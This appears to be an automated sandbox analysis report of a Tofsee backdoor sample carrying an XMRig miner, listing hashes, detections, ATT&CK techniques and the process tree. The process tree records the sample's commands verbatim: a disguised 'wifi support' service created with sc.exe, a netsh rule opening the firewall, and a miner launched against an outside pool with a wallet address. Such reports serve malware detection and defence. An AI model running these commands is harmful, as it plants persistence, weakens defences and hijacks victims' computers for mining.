Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    29-12-2020 07:36

General

  • Target

    075c88f8d6465ea8f45e633059d7cb03.exe

  • Size

    154KB

  • MD5

    075c88f8d6465ea8f45e633059d7cb03

  • SHA1

    4e664d06dd0b7bdc3bfaf43aeafabb4fe7e2ebb1

  • SHA256

    b94c5e2f0895241a0e9d81d6d8e2e4a0a24e248455cfb7b3d6566315359ea536

  • SHA512

    703e0c06b58589c885eb5a3e6bdb1c17ce21ad0c97501a82c485ba3b1eec2eaa056726d32699e09d68b34a88b60f50d164d7d60282632d5ce07654f773420bad

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe
    "C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jbewrrmx\
      2⤵
        PID:2024
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\soggdsrf.exe" C:\Windows\SysWOW64\jbewrrmx\
        2⤵
          PID:1372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jbewrrmx binPath= "C:\Windows\SysWOW64\jbewrrmx\soggdsrf.exe /d\"C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:608
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jbewrrmx "wifi internet conection"
            2⤵
              PID:1748
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jbewrrmx
              2⤵
                PID:1500
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:968
              • C:\Windows\SysWOW64\jbewrrmx\soggdsrf.exe
                C:\Windows\SysWOW64\jbewrrmx\soggdsrf.exe /d"C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:528
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1204
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1340

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\soggdsrf.exe
                MD5

                73094b4a6c9b1156615023f48877587a

                SHA1

                e45b9387f02b83312f36deb8fa47867b2336ce24

                SHA256

                a52a5d7fcc9e359a4cc0671542919f73dd63d6db16492892273e4da03bafaeb1

                SHA512

                d29493fa98323e090e2d6f4dfef311b2cc9d5101871c785bb001fdd4ecaa648ecdf4d10280ecc7749767088435521cfd4bf95ce33f1d7fd5ee8024d4a98fddfc

              • C:\Windows\SysWOW64\jbewrrmx\soggdsrf.exe
                MD5

                73094b4a6c9b1156615023f48877587a

                SHA1

                e45b9387f02b83312f36deb8fa47867b2336ce24

                SHA256

                a52a5d7fcc9e359a4cc0671542919f73dd63d6db16492892273e4da03bafaeb1

                SHA512

                d29493fa98323e090e2d6f4dfef311b2cc9d5101871c785bb001fdd4ecaa648ecdf4d10280ecc7749767088435521cfd4bf95ce33f1d7fd5ee8024d4a98fddfc

              • memory/528-12-0x0000000004F80000-0x0000000004F91000-memory.dmp
                Filesize

                68KB

              • memory/532-3-0x0000000004DC0000-0x0000000004DD1000-memory.dmp
                Filesize

                68KB

              • memory/532-2-0x000000000028A000-0x000000000028B000-memory.dmp
                Filesize

                4KB

              • memory/608-7-0x0000000000000000-mapping.dmp
              • memory/968-13-0x0000000000000000-mapping.dmp
              • memory/1204-15-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

              • memory/1204-20-0x00000000000B0000-0x00000000000C0000-memory.dmp
                Filesize

                64KB

              • memory/1204-16-0x0000000000089A6B-mapping.dmp
              • memory/1204-18-0x0000000001E70000-0x000000000207F000-memory.dmp
                Filesize

                2.1MB

              • memory/1204-19-0x00000000000A0000-0x00000000000A6000-memory.dmp
                Filesize

                24KB

              • memory/1340-22-0x00000000000C0000-0x00000000001B1000-memory.dmp
                Filesize

                964KB

              • memory/1340-24-0x000000000015259C-mapping.dmp
              • memory/1340-21-0x00000000000C0000-0x00000000001B1000-memory.dmp
                Filesize

                964KB

              • memory/1372-5-0x0000000000000000-mapping.dmp
              • memory/1500-9-0x0000000000000000-mapping.dmp
              • memory/1748-8-0x0000000000000000-mapping.dmp
              • memory/2024-4-0x0000000000000000-mapping.dmp